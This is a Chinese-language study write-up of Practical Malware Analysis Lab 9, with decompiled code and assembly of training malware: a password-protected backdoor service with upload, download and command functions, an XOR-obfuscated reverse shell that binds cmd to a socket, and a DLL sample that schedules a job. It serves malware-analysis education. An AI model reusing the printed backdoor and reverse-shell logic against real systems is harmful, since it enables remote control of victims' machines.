恶意代码分析实战 笔记 恶意代码分析实战 Lab9 Ivoripuion 2023-10-16 2023-10-21 Lab 9-1 简要分析 函数主体分析 函数的主要流程分析如下:1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 int __cdecl main (int argc, const char **argv, const char **envp) { char v4; char v5; char v6; char v7; CHAR v8; CHAR ServiceName; const char *v10; if ( argc == 1 ) { if ( !search_reg_401000 () ) del_self_402410 (); chk_service_402360 (); } else { v10 = argv[argc - 1 ]; if ( !chk_pwd_402510 (v10) ) del_self_402410 (); if ( _mbscmp(argv[1 ], aIn) ) { if ( _mbscmp(argv[1 ], aRe) ) { if ( _mbscmp(argv[1 ], aC_0) ) { if ( _mbscmp(argv[1 ], aCc) ) del_self_402410 (); if ( argc != 3 ) del_self_402410 (); if ( !sub_401280 (&v5, 1024 , &v6, 1024 , &v4, 1024 , &v7) ) print_reg_402E7E (aKSHSPSPerS, &v5); } else { if ( argc != 7 ) del_self_402410 (); mk_reg_401070 (argv[2 ], argv[3 ], argv[4 ], argv[5 ]); } } else if ( argc == 3 ) { if ( get_module_name_4025B0 (&v8) ) return -1 ; del_service_402900 (&v8); } else { if ( argc != 4 ) del_self_402410 (); del_service_402900 (argv[2 ]); } } else if ( argc == 3 ) { if ( get_module_name_4025B0 (&ServiceName) ) return -1 ; install_service_402600 (&ServiceName); } else { if ( argc != 4 ) del_self_402410 (); install_service_402600 (argv[2 ]); } } return 0 ; }
程序执行时会判断有无参数,没有参数则会搜索注册表中的内容,若没有指定的注册表,则删除自身。
首先程序判断第一个参数,即chk_pwd_402510(v10)函数,该函数主体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 BOOL __cdecl chk_pwd_402510 (int a1) { BOOL result; char v2; char v3; if ( strlen (a1) != 4 ) return 0 ; if ( *a1 != 'a' ) return 0 ; v2 = *(a1 + 1 ) - *a1; if ( v2 != 1 ) return 0 ; v3 = 99 * v2; if ( v3 == *(a1 + 2 ) ) result = (v3 + 1 ) == *(a1 + 3 ); else result = 0 ; return result; }
类似一个检测密码的函数,当该参数的字符串内容为”abcd”时才会返回true,否则返回false然后删除自身。
当密码正确以后,会继续对是否存在一个服务进行判断,若不存在则对参数进行检测,当不符合判断时会删除自身。
这里针对参数分为五种情况,简单解释:
执行”Lab9-1.exe -in abcd”时:以当前模块名为服务名安装一个服务;
执行”Lab9-1.exe -re abcd”时:卸载一个服务;
执行”Lab9-1.exe -c abcd”时:删除自身并且创建一个注册表;
执行”Lab9-1.exe -cc abcd”时:删除自身并且打印一个注册表;
当参数为-in且还有第四个参数时,如执行”Lab9-1.exe -cc abcd param”就会安装一个名为param的服务;
当该服务存在时会执行如下函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 signed int chk_service_402360 () { int v1; char v2; char v3; char name; char v5; while ( 1 ) { if ( chk_reg_401280 (&v3, 1024 , &name, 1024 , &v2, 1024 , &v5) ) return 1 ; atoi (&v2); if ( malware_402020 (&name) ) break ; v1 = atoi (&v5); Sleep (1000 * v1); } return 1 ; }
首先检测一个注册表是否存在,存在则进入一个有恶意行为的函数malware_402020:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 int __cdecl malware_402020 (char *name) { const char *v2; int v3; char *v4; u_short v5; char *v6; char *v7; u_short v8; char *lpFileName; char *v10; const char *v11; u_short hostshort; FILE *v13; char v14; if ( sub_401E60 (&v14, 1024 ) ) return 1 ; if ( !strncmp (&v14, aSleep, strlen (aSleep)) ) { strtok (&v14, asc_40C0C0); v2 = strtok (0 , asc_40C0C0); v3 = atoi (v2); Sleep (1000 * v3); } else if ( !strncmp (&v14, aUpload, strlen (aUpload)) ) { strtok (&v14, asc_40C0C0); v4 = strtok (0 , asc_40C0C0); v5 = atoi (v4); v6 = strtok (0 , asc_40C0C0); if ( sub_4019E0 (name, v5, v6) ) return 1 ; } else if ( !strncmp (&v14, aDownload, strlen (aDownload)) ) { strtok (&v14, asc_40C0C0); v7 = strtok (0 , asc_40C0C0); v8 = atoi (v7); lpFileName = strtok (0 , asc_40C0C0); if ( sub_401870 (name, v8, lpFileName) ) return 1 ; } else if ( !strncmp (&v14, aCmd_0, strlen (aCmd_0)) ) { strtok (&v14, asc_40C0C0); v10 = strtok (0 , asc_40C0C0); hostshort = atoi (v10); v11 = strtok (0 , asc_40C0A4); v13 = _popen(v11, aRb); if ( !v13 ) return 1 ; if ( sub_401790 (name, hostshort, v13) ) { _pclose(v13); return 1 ; } _pclose(v13); } else { strncmp (&v14, aNothing, strlen (aNothing)); } return 0 ; }
这里会根据字符串的内容进行一些恶意的操作,然后进行一个与一个主机通信的操作。
动态分析 无参数运行程序,在检测注册表的函数之前可以看到检测的注册表的内容:
程序检测HKLM\SOFTWARE\ Microsoft \XPS注册表是否存在,存在则执行0x401029处的指令,否则退出函数,往下走去执行0x402010处的函数:
可以看到该函数目的用于删除程序本身:
为程序附加参数”-in abcd”,运行到如下指令之前,可以看到栈顶为“Lab09-01”:
1 00402B90 |. E8 6BFAFFFF call Lab09-01.00402600
也就是前一个函数get_module_name_4025B0(&ServiceName)执行后返回的模块名。
运行到0x402805可以看到创建服务函数的参数:
然后将程序复制到system32文件夹下:
最后根据访问的网址创建一个注册表项:
此时服务安装完毕,执行”Lab09-01.exe -cc abcd”即可看到创建的注册表:
程序服务安装完毕后再次调试无参数的程序,程序在访问0x402360的函数处卡顿:
该函数调用中的0x401020函数返回一个链接”http://www.practicalmalwareanalysis.com":
0x401070返回”P”,即80:
0x401D80返回一个链接:
使用上述的几个参数进行访问:
这里访问失败,往下走程序退出。
再回看malware_402020函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 if ( sub_401E60 (&v14, 1024 ) ) return 1 ; if ( !strncmp (&v14, aSleep, strlen (aSleep)) ) { strtok (&v14, asc_40C0C0); v2 = strtok (0 , asc_40C0C0); v3 = atoi (v2); Sleep (1000 * v3); } else if ( !strncmp (&v14, aUpload, strlen (aUpload)) ) { strtok (&v14, asc_40C0C0); v4 = strtok (0 , asc_40C0C0); v5 = atoi (v4); v6 = strtok (0 , asc_40C0C0); if ( sub_4019E0 (name, v5, v6) ) return 1 ; } else if ( !strncmp (&v14, aDownload, strlen (aDownload)) ) { strtok (&v14, asc_40C0C0); v7 = strtok (0 , asc_40C0C0); v8 = atoi (v7); lpFileName = strtok (0 , asc_40C0C0); if ( sub_401870 (name, v8, lpFileName) ) return 1 ; } else if ( !strncmp (&v14, aCmd_0, strlen (aCmd_0)) ) { strtok (&v14, asc_40C0C0); v10 = strtok (0 , asc_40C0C0); hostshort = atoi (v10); v11 = strtok (0 , asc_40C0A4); v13 = _popen(v11, aRb); if ( !v13 ) return 1 ; if ( sub_401790 (name, hostshort, v13) ) { _pclose(v13); return 1 ; } _pclose(v13); }
这里可以分析出用于进行恶意行为的参数v14就是0x401AF0访问恶意主机后返回得到的。
Q1:如何让这个恶意代码安装自身? 执行”Lab09-01.exe -in abcd”即可。
Q2:这个恶意代码的命令行选项是什么?它要求的密码是什么? 要求的密码为abcd,结合密码后的命令行选项:
执行”Lab9-1.exe -in abcd”时:以当前模块名为服务名安装一个服务;
执行”Lab9-1.exe -re abcd”时:卸载一个服务;
执行”Lab9-1.exe -c abcd”时:删除自身并且创建一个注册表;
执行”Lab9-1.exe -cc abcd”时:删除自身并且打印一个注册表;
当参数为-in且还有第四个参数时,如执行”Lab9-1.exe -cc abcd param”就会安装一个名为param的服务;
Q3:如何利用OllyDbg永久修补这个恶意代码,使其不需要指定的命令行密码? 将:
1 00402B38 |. /75 05 jnz short Lab09-01. 00402B3F
改为:
1 2 00402B38 |. /75 05 jz short Lab09-01.00402B3F
即可。
Q4:这个恶意代码基于系统的特征是什么?
创建一个注册表:HKLM\SOFTWARE\ Microsoft \XPS;
复制一个备份到system32目录下;
创建一个名为Lab09-01或者自定义名字的服务;
Q5:这个恶意代码通过网络执行了哪些不同操作? 根据0x401AF0函数的返回值有:休眠,上传文件,下载文件,执行命令和不做任何事这些操作。
Q6:这个恶意代码是否有网络特征? 有。
向 http://www.practicalmalwareanalysis.com 进行请求;
访问一个随机的URL,格式为xxxx/xxxx.xxx,x为一个随机ascii字符;
Lab 9-2 简要分析 程序主体如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 qmemcpy (&v8, &unk_405034, 0x21 u);v11 = 0 ; Filename = 0 ; memset (&v6, 0 , 0x10C u);v7 = 0 ; GetModuleFileNameA (0 , &Filename, 0x10E u);v36 = strrchr (&Filename, 92 ) + 1 ; if ( strcmp (&v26, v36) ) return 1 ; while ( 1 ){ v12 = WSAStartup (0x202 u, &WSAData); if ( v12 ) return 1 ; s = WSASocketA (2 , 1 , 6 , 0 , 0 , 0 ); if ( s == -1 ) break ; name = (char *)sub_401089 (&v13, (int )&v8); v10 = gethostbyname (name); if ( v10 ) { *(_DWORD *)&v9.sa_data[2 ] = **(_DWORD **)v10->h_addr_list; *(_WORD *)v9.sa_data = htons (0x270F u); v9.sa_family = 2 ; v12 = connect (s, &v9, 16 ); if ( v12 != -1 ) sub_401000 ( *(_DWORD *)&v9.sa_family, *(_DWORD *)&v9.sa_data[2 ], *(_DWORD *)&v9.sa_data[6 ], *(_DWORD *)&v9.sa_data[10 ], s); closesocket (s); WSACleanup (); Sleep (0x7530 u); } else { closesocket (s); WSACleanup (); Sleep (0x7530 u); } }
首先程序会进入一段对字符串的处理操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 .text: 00401133 mov [ebp +var_1B0], 31h .text: 0040113A mov [ebp +var_1AF], 71h .text: 00401141 mov [ebp +var_1AE], 61h .text: 00401148 mov [ebp +var_1AD], 7Ah .text: 0040114F mov [ebp +var_1AC], 32h .text: 00401156 mov [ebp +var_1AB], 77h .text: 0040115D mov [ebp +var_1AA], 73h .text: 00401164 mov [ebp +var_1A9], 78h .text: 0040116B mov [ebp +var_1A8], 33h .text: 00401172 mov [ebp +var_1A7], 65h .text: 00401179 mov [ebp +var_1A6], 64h .text: 00401180 mov [ebp +var_1A5], 63h .text: 00401187 mov [ebp +var_1A4], 0 .text: 0040118E mov [ebp +var_1A0], 6Fh .text: 00401195 mov [ebp +var_19F], 63h .text: 0040119C mov [ebp +var_19E], 6Ch .text: 004011A3 mov [ebp +var_19D], 2Eh .text: 004011AA mov [ebp +var_19C], 65h .text: 004011B1 mov [ebp +var_19B], 78h .text: 004011B8 mov [ebp +var_19A], 65h .text: 004011BF mov [ebp +var_199], 0
这段执行完毕后可以看到在栈上产生了两个字符串:ocl.exe以及1qaz2wsx3edc:
然后程序将程序名”Lab09-02.exe”与”ocl.exe”进行比较,不匹配就退出程序:
“Lab09-02.exe”是之前获取的程序名:
1 2 GetModuleFileNameA (0 , &Filename, 0x10E u);v36 = strrchr (&Filename, 92 ) + 1 ;
将程序名改为”ocl.exe”即可越过检查:
然后进入循环,首先进行一个socket初始化工作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 .text: 0040124C chk_success_40124C: .text: 0040124C .text: 0040124C mov edx , 1 .text: 00401251 test edx , edx .text: 00401253 jz exit_4013D4.text: 00401259 lea eax , [ebp +WSAData].text: 0040125F push eax .text: 00401260 push 202h .text: 00401265 call ds :WSAStartup.text: 0040126B mov [ebp +var_1B4], eax .text: 00401271 cmp [ebp +var_1B4], 0 .text: 00401278 jz short establish_socket_4012AF.text: 0040127A mov eax , 1 .text: 0040127F jmp exit_4013D6.text: 00401284 .text: 00401284 .text: 00401284 establish_socket_4012AF: .text: 00401284 push 0 .text: 00401286 push 0 .text: 00401288 push 0 .text: 0040128A push 6 .text: 0040128C push 1 .text: 0040128E push 2 .text: 00401290 call ds :WSASocketA.text: 00401296 mov [ebp +s], eax .text: 0040129C cmp [ebp +s], 0FFFFFFFFh .text: 004012A3 jnz short socket_success_4012AF.text: 004012A5 mov eax , 1 .text: 004012AA jmp exit_4013D6
初始化成功后进入一个处理阶段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 .text:004012AF socket_success_4012AF: ; CODE XREF: _main+17B↑j .text:004012AF lea ecx, [ebp+var_1F0] .text:004012B5 push ecx ; int .text:004012B6 lea edx, [ebp+var_1B0] .text:004012BC push edx ; char * .text:004012BD call sub_401089 .text:004012C2 add esp, 8 .text:004012C5 mov [ebp+name], eax .text:004012C8 mov eax, [ebp+name] .text:004012CB push eax ; name .text:004012CC call ds:gethostbyname .text:004012D2 mov [ebp+var_1BC], eax .text:004012D8 cmp [ebp+var_1BC], 0 .text:004012DF jnz short loc_401304 .text:004012E1 mov ecx, [ebp+s] .text:004012E7 push ecx ; s .text:004012E8 call ds:closesocket .text:004012EE call ds:WSACleanup .text:004012F4 push 7530h ; dwMilliseconds .text:004012F9 call ds:Sleep .text:004012FF jmp chk_success_40124C
这里sub_401089函数的调用逻辑:
1 2 qmemcpy (&v8, &unk_405034, 0x21 u);name = sub_401089 (&v13, &v8);
unk_405034即1qaz2wsx3edc。
sub_401089核心部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 .text: 004010E3 loc_4010E3: .text: 004010E3 cmp [ebp +var_108], 20h .text: 004010EA jge short loc_40111D.text: 004010EC mov edx , [ebp +arg_4].text: 004010EF add edx , [ebp +var_108].text: 004010F5 movsx ecx , byte ptr [edx ].text: 004010F8 mov eax , [ebp +var_108].text: 004010FE cdq .text: 004010FF idiv [ebp +var_104].text: 00401105 mov eax , [ebp +arg_0].text: 00401108 movsx edx , byte ptr [eax +edx ].text: 0040110C xor ecx , edx .text: 0040110E mov eax , [ebp +var_108].text: 00401114 mov [ebp +eax +var_100], cl .text: 0040111B jmp short loc_4010D4
1 2 for ( i = 0 ; i < 32 ; ++i ) *(&v5 + i) = a1[i % v4] ^ *(i + a2);
是一段对字符串的亦或操作,亦或结果通过cl寄存器放入内存:
1 2 3 .text: 0040110C xor ecx , edx .text: 0040110E mov eax , [ebp +var_108].text: 00401114 mov [ebp +eax +var_100], cl
动态调试可以看到是使用1qaz2wsx3edc作为亦或的内容进行计算:
解密完成得到url:”www.practicalmalwareanalysis.com”:
然后将url进行解析并做进一步的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 name = geturl_401089 (&v13, &v8); v10 = gethostbyname (name); if ( v10 ){ *&v9.sa_data[2 ] = **v10->h_addr_list; *v9.sa_data = htons (9999u ); v9.sa_family = 2 ; v12 = connect (s, &v9, 16 ); if ( v12 != -1 ) sub_401000 (*&v9.sa_family, *&v9.sa_data[2 ], *&v9.sa_data[6 ], *&v9.sa_data[10 ], s); closesocket (s); WSACleanup (); Sleep (0x7530 u); }
尝试连接 www.practicalmalwareanalysis.com:9999 ,连接成功后调用sub_401000函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl sub_401000 (int a1, int a2, int a3, int a4, void *a5) { struct _STARTUPINFOA StartupInfo; BOOL v7; struct _PROCESS_INFORMATION ProcessInformation; v7 = 0 ; memset (&StartupInfo, 0 , 0x44 u); StartupInfo.cb = 68 ; memset (&ProcessInformation, 0 , 0x10 u); StartupInfo.dwFlags = 257 ; StartupInfo.wShowWindow = 0 ; StartupInfo.hStdInput = a5; StartupInfo.hStdError = a5; StartupInfo.hStdOutput = a5; v7 = CreateProcessA (0 , CommandLine, 0 , 0 , 1 , 0 , 0 , 0 , &StartupInfo, &ProcessInformation); WaitForSingleObject (ProcessInformation.hProcess, 0xFFFFFFFF ); return 0 ; }
根据v7 = CreateProcessA(0, CommandLine, 0, 0, 1, 0, 0, 0, &StartupInfo, &ProcessInformation);
可以得出这是创建一个反弹shell的函数。
shell建立成功后就维持连接状态,否则就退出关闭socket并关闭程序:
1 2 3 closesocket (s);WSACleanup ();Sleep (0x7530 u);
Q1:在二进制文件中,你看到的静态字符串是什么? IDA pro中可以看到的字符串如下:
.rdata段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 .rdata: 004040CC 0000000F C runtime error .rdata: 004040E0 0000000E C TLOSS error\r\n.rdata: 004040F0 0000000D C SING error\r\n.rdata: 00404100 0000000F C DOMAIN error\r\n.rdata: 00404110 00000025 C R6028\r\n- unable to initialize heap\r\n.rdata: 00404138 00000035 C R6027\r\n- not enough space for lowio initialization\r\n.rdata: 00404170 00000035 C R6026\r\n- not enough space for stdio initialization\r\n.rdata: 004041A8 00000026 C R6025\r\n- pure virtual function call \r\n.rdata: 004041D0 00000035 C R6024\r\n- not enough space for _onexit/atexit table\r\n.rdata: 00404208 00000029 C R6019\r\n- unable to open console device\r\n.rdata: 00404234 00000021 C R6018\r\n- unexpected heap error\r\n.rdata: 00404258 0000002D C R6017\r\n- unexpected multithread lock error\r\n.rdata: 00404288 0000002C C R6016\r\n- not enough space for thread data\r\n.rdata: 004042B4 00000021 C \r\nabnormal program termination\r\n.rdata: 004042D8 0000002C C R6009\r\n- not enough space for environment\r\n.rdata: 00404304 0000002A C R6008\r\n- not enough space for arguments\r\n.rdata: 00404330 00000025 C R6002\r\n- floating point not loaded\r\n.rdata: 00404358 00000025 C Microsoft Visual C++ Runtime Library.rdata: 00404384 0000001A C Runtime Error!\n\nProgram: .rdata: 004043A4 00000017 C <program name unknown>.rdata: 004043BC 00000013 C GetLastActivePopup.rdata: 004043D0 00000010 C GetActiveWindow.rdata: 004043E0 0000000C C MessageBoxA.rdata: 004043EC 0000000B C user32. dll.rdata: 00404562 0000000D C KERNEL32. dll.rdata: 0040457E 0000000B C WS2_32. dll
.data段中可解析的:
1 .data: 00405030 CommandLine db 'cmd' ,0
Q2:当你运行这个二进制文件时,会发生什么? 程序直接退出了。
Q3:怎样让这个恶意代码的攻击载荷(payload)获得运行? 将程序命名为ocl.exe运行。
Q4:在地址0x00401133处发生了什么? 两个字符串被分割开放到了栈中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 .text: 00401133 mov [ebp +var_1B0], 31h .text: 0040113A mov [ebp +var_1AF], 71h .text: 00401141 mov [ebp +var_1AE], 61h .text: 00401148 mov [ebp +var_1AD], 7Ah .text: 0040114F mov [ebp +var_1AC], 32h .text: 00401156 mov [ebp +var_1AB], 77h .text: 0040115D mov [ebp +var_1AA], 73h .text: 00401164 mov [ebp +var_1A9], 78h .text: 0040116B mov [ebp +var_1A8], 33h .text: 00401172 mov [ebp +var_1A7], 65h .text: 00401179 mov [ebp +var_1A6], 64h .text: 00401180 mov [ebp +var_1A5], 63h .text: 00401187 mov [ebp +var_1A4], 0 .text: 0040118E mov [ebp +var_1A0], 6Fh .text: 00401195 mov [ebp +var_19F], 63h .text: 0040119C mov [ebp +var_19E], 6Ch .text: 004011A3 mov [ebp +var_19D], 2Eh .text: 004011AA mov [ebp +var_19C], 65h .text: 004011B1 mov [ebp +var_19B], 78h .text: 004011B8 mov [ebp +var_19A], 65h .text: 004011BF mov [ebp +var_199], 0
Q5:传递给子列程(函数)0x401089的参数是什么? 参数为:1qaz2wsx3edc:
Q6:恶意代码使用的域名是什么? www.practicalmalwareanalysis.com
Q7:恶意代码使用什么编码函数来混淆域名? 使用亦或与”1qaz2wsx3edc”加密函数,所以解密时也与”1qaz2wsx3edc”亦或:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 char *__cdecl geturl_401089 (char *a1, int a2) { signed int i; signed int v4; char v5; char v6; __int16 v7; char v8; v5 = 0 ; memset (&v6, 0 , 0xFC u); v7 = 0 ; v8 = 0 ; v4 = strlen (a1); for ( i = 0 ; i < 32 ; ++i ) *(&v5 + i) = a1[i % v4] ^ *(i + a2); return &v5; }
Q8:恶意代码在0x0040106E处调用CreateProcessA函数的意义是什么? 设置stdout、stderr和stdin的句柄到socket。使用cmd作为CreateProcessA的参数以此通过shell的指令和socket连接建立一个反弹shell。
1 2 3 4 5 6 7 8 9 10 memset (&StartupInfo, 0 , 0x44 u);StartupInfo.cb = 68 ; memset (&ProcessInformation, 0 , 0x10 u);StartupInfo.dwFlags = 257 ; StartupInfo.wShowWindow = 0 ; StartupInfo.hStdInput = a5; StartupInfo.hStdError = a5; StartupInfo.hStdOutput = a5; v7 = CreateProcessA (0 , CommandLine, 0 , 0 , 1 , 0 , 0 , 0 , &StartupInfo, &ProcessInformation); WaitForSingleObject (ProcessInformation.hProcess, 0xFFFFFFFF );
Lab 9-3 简要分析 程序的主函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main (int argc, const char **argv, const char **envp) { LPBYTE Buffer; HANDLE hFile; HMODULE hModule; FARPROC v7; DWORD NumberOfBytesWritten; void (*v9)(void ); DWORD JobId; DLL1Print (); DLL2Print (); hFile = DLL2ReturnJ (); WriteFile (hFile, aMalwareanalysi, 0x17 u, &NumberOfBytesWritten, 0 ); CloseHandle (hFile); hModule = LoadLibraryA (LibFileName); v9 = GetProcAddress (hModule, ProcName); v9 (); v7 = GetProcAddress (hModule, aDll3getstructu); (v7)(&Buffer); NetScheduleJobAdd (0 , Buffer, &JobId); Sleep (10000u ); return 0 ; }
首先调用DLL1Print()
以及DLL2Print()
可能是进行一些打印的操作,然后进行一个写文件的操作WriteFile(hFile, aMalwareanalysi, 0x17u, &NumberOfBytesWritten, 0)
。接下来导入”DLL3.dll”,调用其中的DLL3Print
以及DLL3GetStructure
两个函数,最后调用NetScheduleJobAdd(0, Buffer, &JobId)
,提交一个计划安排,来让一个程序在某个特定日期时间运行,休眠10000msSleep(10000u)
后退出程序。
这里的DLL1Print()
,DLL2Print()
和DLL3Print
是从”DLL1”以及”DLL2”中导入的函数:
1 2 3 0040500C DLL2Print DLL2 00405008 DLL2ReturnJ DLL200405000 DLL1Print DLL1
DLL1Print()函数:
1 2 3 4 int DLL1Print () { return print_10001038 (aDll1MysteryDat, dword_10008030); }
打印一段字符串”DLL 1 mystery data “并将dword_10008030的内容作为数字打印,dword_10008030的内容是当前程序的进程号:
1 2 result = GetCurrentProcessId (); dword_10008030 = result;
DLL2Print()函数:
1 2 3 4 int DLL2Print () { return print_1000105A (aDll2MysteryDat, dword_1000B078); }
打印一段字符串”DLL 2 mystery data “并将dword_1000B078的内容作为数字打印,dword_1000B078的内容是打开”temp.txt”的句柄值:
1 2 result = CreateFileA (FileName, 0x40000000 u, 0 , 0 , 2u , 0x80 u, 0 ); dword_1000B078 = result;
DLL2ReturnJ()函数返回”temp.txt”的句柄值:
1 2 3 4 int DLL2ReturnJ () { return dword_1000B078; }
DLL3Print()函数:
1 2 3 4 int DLL3Print () { return print_10001087 (aDll3MysteryDat, &WideCharStr); }
打印一段字符串”DLL 3 mystery data “并将WideCharStr的内容作为数字打印,WideCharStr的内容是一段字符串 “ping www.malwareanalysisbook.com” 的存储地址:
1 result = MultiByteToWideChar (0 , 0 , aPingWwwMalware, -1 , &WideCharStr, 50 );
DLL3GetStructure()函数用于返回一个结构体:
1 2 3 4 5 6 7 8 _DWORD *__cdecl DLL3GetStructure (_DWORD *a1) { _DWORD *result; result = a1; *a1 = &dword_1000B0A0; return result; }
dword_1000B0A0处结构体:
1 2 3 4 5 6 7 8 9 00000000 AT_INFO struc 00000000 00000000 JobTime dd ?00000004 DaysOfMonth dd ?00000008 DaysOfWeek db ?00000009 Flags db ?0000000A db ? 0000000B db ? 0000000C Command dd ?
该结构体保存了一些时间处理时间以及命令的信息。
当程序加载DLL3.dll后,该结构体内容为一周之中某一天的1AM进行 “ping www.malwareanalysisbook.com” 的操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .text: 10001004 mov [ebp +lpMultiByteStr], offset aPingWwwMalware .text: 1000100B push 32h .text: 1000100D push offset WideCharStr .text: 10001012 push 0FFFFFFFFh .text: 10001014 mov eax , [ebp +lpMultiByteStr].text: 10001017 push eax .text: 10001018 push 0 .text: 1000101A push 0 .text: 1000101C call ds :MultiByteToWideChar.text: 10001022 mov stru_1000B0A0. Command, offset WideCharStr.text: 1000102C mov stru_1000B0A0. JobTime, 36EE80h .text: 10001036 mov stru_1000B0A0. DaysOfMonth, 0 .text: 10001040 mov stru_1000B0A0. DaysOfWeek, 7Fh .text: 10001047 mov stru_1000B0A0. Flags, 11h
综上,Lab09-03.exe的程序行为如下:
打印当前进程的ID;
打印打开”temp.txt”的句柄;
向”temp.txt”中写入 “ping www.malwareanalysisbook.com”;
打印 “ping www.malwareanalysisbook.com” 在内存中的地址;
建立一个任务,用于每周某一天的1AM进行ping www.malwareanalysisbook.com
;
Q1:Lab09-03.exe导入了哪些DLL? 导入dll有DLL1,DLL2,DLL3,user32.dll,kernel32.dll,netapi32.dll。
其中DLL3以及user32.dll是通过LoadLibraryA()
函数导入的:
1 hModule = LoadLibraryA (LibFileName);
1 v4 = LoadLibraryA ("user32.dll" );
Q2:DLL1.dll、DLL2.dll、DLL3.dll要求的基地址是多少? 要求的基地址是0x100000000。
Q3:当使用OllyDbg调试Lab09-03.exe时,为DLL1.dll、DLL2.dll、DLL3.dll分配的基地址是什么? DLL1.dll加载到:0x10000000;
DLL2.dll加载到:0x003D0000;
DLL3.dll加载到:0x00580000;
Q4:当Lab09-03.exe调用DLL1.dll中的一个导入函数时,这个导入函数都做了什么? 调用DLL1.dll中的导出函数DLL1Print()
,打印出一段字符串”DLL 1 mystery data “以及当前程序的进程号。
Q5:当Lab09-03.exe调用WriteFile函数的时候,它写入的文件名是什么? 写入的文件名就是”temp.txt”。
1 2 result = CreateFileA (FileName, 0x40000000 u, 0 , 0 , 2u , 0x80 u, 0 ); dword_1000B078 = result;
1 2 hFile = DLL2ReturnJ (); WriteFile (hFile, aMalwareanalysi, 0x17 u, &NumberOfBytesWritten, 0 );
Q6:当Lab09-03.exe使用NetScheduleJobAdd创建一个job时,从哪里获取第二个参数的数据? 使用的是调用DLL3GetStructure()
经过DLL3初始化后返回的一个结构体,该结构体内容为一周之中某一天的1AM进行 “ping www.malwareanalysisbook.com” 的操作:
1 2 3 4 5 6 7 8 9 00000000 AT_INFO struc 00000000 00000000 JobTime dd ?00000004 DaysOfMonth dd ?00000008 DaysOfWeek db ?00000009 Flags db ?0000000A db ? 0000000B db ? 0000000C Command dd ?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 .text: 10001004 mov [ebp +lpMultiByteStr], offset aPingWwwMalware .text: 1000100B push 32h .text: 1000100D push offset WideCharStr .text: 10001012 push 0FFFFFFFFh .text: 10001014 mov eax , [ebp +lpMultiByteStr].text: 10001017 push eax .text: 10001018 push 0 .text: 1000101A push 0 .text: 1000101C call ds :MultiByteToWideChar.text: 10001022 mov stru_1000B0A0. Command, offset WideCharStr.text: 1000102C mov stru_1000B0A0. JobTime, 36EE80h .text: 10001036 mov stru_1000B0A0. DaysOfMonth, 0 .text: 10001040 mov stru_1000B0A0. DaysOfWeek, 7Fh .text: 10001047 mov stru_1000B0A0. Flags, 11h
Q7:在运行或调试Lab09-03.exe时,你会看到Lab09-03.exe打印出三块神秘数据。DLL 1的神秘数据,DLL 2的神秘数据,DLL 3的神秘数据分别是什么?
神秘数据1:当前程序的进程号;
神秘数据2:是打开”temp.txt”的句柄值;
神秘数据3:一段字符串 “ping www.malwareanalysisbook.com” 的存储地址;
Q8:如何将DLL2.dll加载到IDA Pro中,使得它与OllyDbg使用的加载地址匹配? 加载时手动更改即可: